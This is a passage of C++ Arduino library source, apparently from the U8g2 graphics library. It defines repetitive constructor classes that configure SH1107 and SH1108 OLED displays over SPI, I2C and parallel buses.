u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1107_SEEED_128X128_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1107_SEEED_128X128_F_6800 : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_SEEED_128X128_F_8080 : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1107_128X128_1_SW_I2C : public U8G2 { public: U8G2_SH1107_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_128X128_1_HW_I2C : public U8G2 { public: U8G2_SH1107_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_128X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_SW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_PIMORONI_128X128_1_HW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_PIMORONI_128X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_SEEED_128X128_1_SW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_SEEED_128X128_1_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_SEEED_128X128_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_128X128_2_SW_I2C : public U8G2 { public: U8G2_SH1107_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_128X128_2_HW_I2C : public U8G2 { public: U8G2_SH1107_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_128X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_SW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_PIMORONI_128X128_2_HW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_PIMORONI_128X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_SEEED_128X128_2_SW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_SEEED_128X128_2_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_SEEED_128X128_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_128X128_F_SW_I2C : public U8G2 { public: U8G2_SH1107_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_128X128_F_HW_I2C : public U8G2 { public: U8G2_SH1107_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_128X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_SW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_PIMORONI_128X128_F_HW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_PIMORONI_128X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_PIMORONI_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_pimoroni_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1107_SEEED_128X128_F_SW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1107_SEEED_128X128_F_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1107_SEEED_128X128_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1107_SEEED_128X128_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1107_i2c_seeed_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1108_128X160_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1108_128X160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1108_128X160_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_128X160_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_128X160_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1108_128X160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1108_128X160_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1108_128X160_1_6800 : public U8G2 { public: U8G2_SH1108_128X160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_128X160_1_8080 : public U8G2 { public: U8G2_SH1108_128X160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_128X160_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1108_128X160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1108_128X160_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_128X160_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_128X160_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1108_128X160_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1108_128X160_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1108_128X160_2_6800 : public U8G2 { public: U8G2_SH1108_128X160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_128X160_2_8080 : public U8G2 { public: U8G2_SH1108_128X160_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_128X160_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1108_128X160_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1108_128X160_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_128X160_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1108_128X160_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1108_128X160_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1108_128X160_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1108_128X160_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1108_128X160_F_6800 : public U8G2 { public: U8G2_SH1108_128X160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_128X160_F_8080 : public U8G2 { public: U8G2_SH1108_128X160_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_128x160_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1108_128X160_1_SW_I2C : public U8G2 { public: U8G2_SH1108_128X160_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1108_128X160_1_HW_I2C : public U8G2 { public: U8G2_SH1108_128X160_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1108_128X160_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1108_128X160_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1108_128X160_2_SW_I2C : public U8G2 { public: U8G2_SH1108_128X160_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1108_128X160_2_HW_I2C : public U8G2 { public: U8G2_SH1108_128X160_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1108_128X160_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1108_128X160_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1108_i2c_128x160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1108_128X160_F_SW_I2C : public U8G2 { public: U8G2_SH1108_128X160_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = 